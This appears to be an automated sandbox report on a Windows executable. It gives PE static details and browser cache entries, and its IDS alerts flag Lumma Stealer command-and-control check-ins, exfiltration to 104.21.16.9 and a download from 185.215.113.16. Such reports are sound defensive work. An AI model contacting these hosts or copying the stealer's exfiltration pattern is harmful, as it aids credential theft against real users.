Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945678245476462
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'864'192 bytes
MD5:	a9a9f7a7b9ed25c8df3e4676a11593f3
SHA1:	54934b66d0290fdc3b89b07de78a7e7461445416
SHA256:	5ead7defc7e896fcb9e0b8c17f978c0eb2c063ce3364925ef0df6880fb3c7921
SHA512:	a0ce4a944b3993395063ecf03204fa756b8b2356f0af271e94f7132642cc18815f5aa091303b5fa39fdb7030431db4d4d0dcdb6d11dfbc3d87fc15e96362364b
SSDEEP:	49152:gYaoryX6w3X4R7fgY94kPTZJcWY+FzC9Dc2lst:7rQ6kotfgY9TPTLcWY+A9DGt
TLSH:	428533EA0F1CCDE1CCD4A8F74A4F265CF56CED315A3E8462923D5662224BB9E7390538
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg..............................I...........@...........................I.....:.....@.................................\`..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67473342 [Wed Nov 27 14:57:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEA44F6CFAAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5605c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x561f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x54000	0x25800	1691cabd8e92d91e9f2b89eb8d10b2cd	False	0.9975065104166667	data	7.969899728729919	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x2b0	0x200	c77eb2e413338ce534cf83c8528662a0	False	0.796875	data	6.046196055587242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x56000	0x1000	0x200	5c2aab652c0aafb38fcd0c023cb11951	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x57000	0x2a6000	0x200	a7898e593a1c9b244437eec36e301341	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bioduybg	0x2fd000	0x19e000	0x19dc00	f838a4e6a4c0d2abe209ffe209301e6a	False	0.9947613765105741	data	7.952935716114438	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eaqvzvci	0x49b000	0x1000	0x600	df84aca737da3e63b5afed5e4f42284c	False	0.544921875	data	4.840712984498527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49c000	0x3000	0x2200	d4579665644700d3630ca2d176184390	False	0.056410845588235295	DOS executable (COM)	0.6637339190281413	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x49a8a0	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-30T04:12:02.621072+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.16.9	443	TCP
2024-11-30T04:12:03.486038+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.16.9	443	TCP
2024-11-30T04:12:03.486038+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.16.9	443	TCP
2024-11-30T04:12:04.898264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	104.21.16.9	443	TCP
2024-11-30T04:12:05.705673+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	104.21.16.9	443	TCP
2024-11-30T04:12:05.705673+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.16.9	443	TCP
2024-11-30T04:12:07.360287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.16.9	443	TCP
2024-11-30T04:12:09.784755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.16.9	443	TCP
2024-11-30T04:12:12.393365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	104.21.16.9	443	TCP
2024-11-30T04:12:15.020953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	104.21.16.9	443	TCP
2024-11-30T04:12:15.823373+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49715	104.21.16.9	443	TCP
2024-11-30T04:12:17.576677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49722	104.21.16.9	443	TCP
2024-11-30T04:12:17.581833+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49722	104.21.16.9	443	TCP
2024-11-30T04:12:23.044875+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49742	104.21.16.9	443	TCP
2024-11-30T04:12:23.890519+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49742	104.21.16.9	443	TCP
2024-11-30T04:12:25.389623+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49745	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 04:11:53.772898912 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:53.773636103 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:53.773694992 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:53.893654108 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:53.893673897 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:53.893735886 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:53.893743992 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:53.893789053 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367264032 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367290020 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367304087 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367424965 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:54.367503881 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367516041 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367527962 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.367567062 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:54.367619991 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:54.375679016 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.375807047 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.375864983 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:54.384143114 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.384216070 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:11:54.384299994 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:11:55.522862911 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:55.522939920 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:55.527302980 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:55.527331114 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:55.527589083 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:55.528949022 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:55.529015064 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:55.529019117 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:55.529124975 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:55.575330019 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:56.053132057 CET	49674	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:11:56.053163052 CET	49673	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:11:56.083349943 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:56.083448887 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:56.083509922 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:56.083739042 CET	49706	443	192.168.2.6	20.198.119.143
Nov 30, 2024 04:11:56.083755016 CET	443	49706	20.198.119.143	192.168.2.6
Nov 30, 2024 04:11:56.381232977 CET	49672	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:12:01.273729086 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:01.273803949 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:01.273909092 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:01.277065039 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:01.277086020 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:02.620938063 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:02.621072054 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:02.624597073 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:02.624613047 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:02.624901056 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:02.678010941 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:02.678407907 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:02.678433895 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:02.678541899 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.041826010 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:03.041882992 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:03.041965961 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:03.042761087 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:03.042784929 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:03.486032963 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.486143112 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.486207962 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.516304016 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.516340971 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.516351938 CET	49707	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.516359091 CET	443	49707	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.638262987 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.638317108 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:03.638401985 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.638817072 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:03.638834000 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:04.898088932 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:04.898263931 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:04.899722099 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:04.899734020 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:04.899975061 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:04.901240110 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:04.901276112 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:04.901312113 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.256375074 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.256422043 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.256521940 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.257097006 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.257113934 CET	443	49710	20.198.118.190	192.168.2.6
